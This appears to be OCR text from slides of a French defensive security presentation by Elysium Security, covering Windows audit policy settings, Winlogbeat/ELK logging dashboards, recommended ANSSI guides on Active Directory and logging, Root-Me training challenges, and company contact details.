Public Key Policies
Software Restriction Policies
Application Control Policies

g, IP Security Policies on Local Computer

Top Event IDs [Winlogbeat Overview]

Event Levels [Winiogbeat Overview)

Log Levels

Un dashboard préconfiguré par ELK

Subcategory

#% Audit Credential Validation

oo, Audit Kerberos Authentication Service

oo Audit Kerberos Service Ticket Operations
oo Audit Other Account Logon Events

Audit Events

Not Configured
Not Configured
Not Configured
Not Configured

W ABelionCont :
v & System Audit Policies - Local Group Policy Object

Account Logon

4 Account Management
| Detailed Tracking

5 DS Access
= Logon/Logoff

15 Object Access
 Policy Change

5 Privilege Use

L

- System
i Global Object Access Auditing
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Bonnes pratiques et recommandations

Sélection classée par ordre logique de lecture et d’application :

REPUBLIQUE
FRANCAISE
Liberté

= Recommandations de sécurité relatives aux mots de passe — ANSSI ;

. " Guide d’hygiene informatiqgue — ANSSI ;
RECOMMANDATIONS RELATIVES A

L'ADMINISTRATION SECURISEE DES
SYSTEMES D'INFORMATION REPOSANT
SUR MICROSOFT ACTIVE DIRECTORY

= Recommandations de sécurité pour la journalisation des systemes Microsoft
Windows en environnement Active Directory — ANSSI ;

= Points de controle Active Directory — ANSSI ;

= Recommandations relatives a I'administration sécurisée des systemes
d'information reposant sur Microsoft Active Directory — ANSSI.

GUIDE ANSSI

PUBLIC VISE :

Développeur Administrateur RSSI Sl Utilisateur
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Se former pour mieux se protéger

Challenges Root-Me PRO

Challenges

ﬁ Cryptanalyse {:] Réaliste

=== ==
I:II:II:II:II:II:II:II:I.@]
= i |

o

—

g1

=

0

o

O O 0O 0O 0O 0O O O 3
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Questions
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CONTACTEZ-NOUS

ELYSIUM SECURITY
29 bis chemin de Grave
69450 Saint-Cyr-au-Mont-d'Or
+33 (0)4 28 29 63 37

commerce@elysium-security.com

https://elysium-security.com
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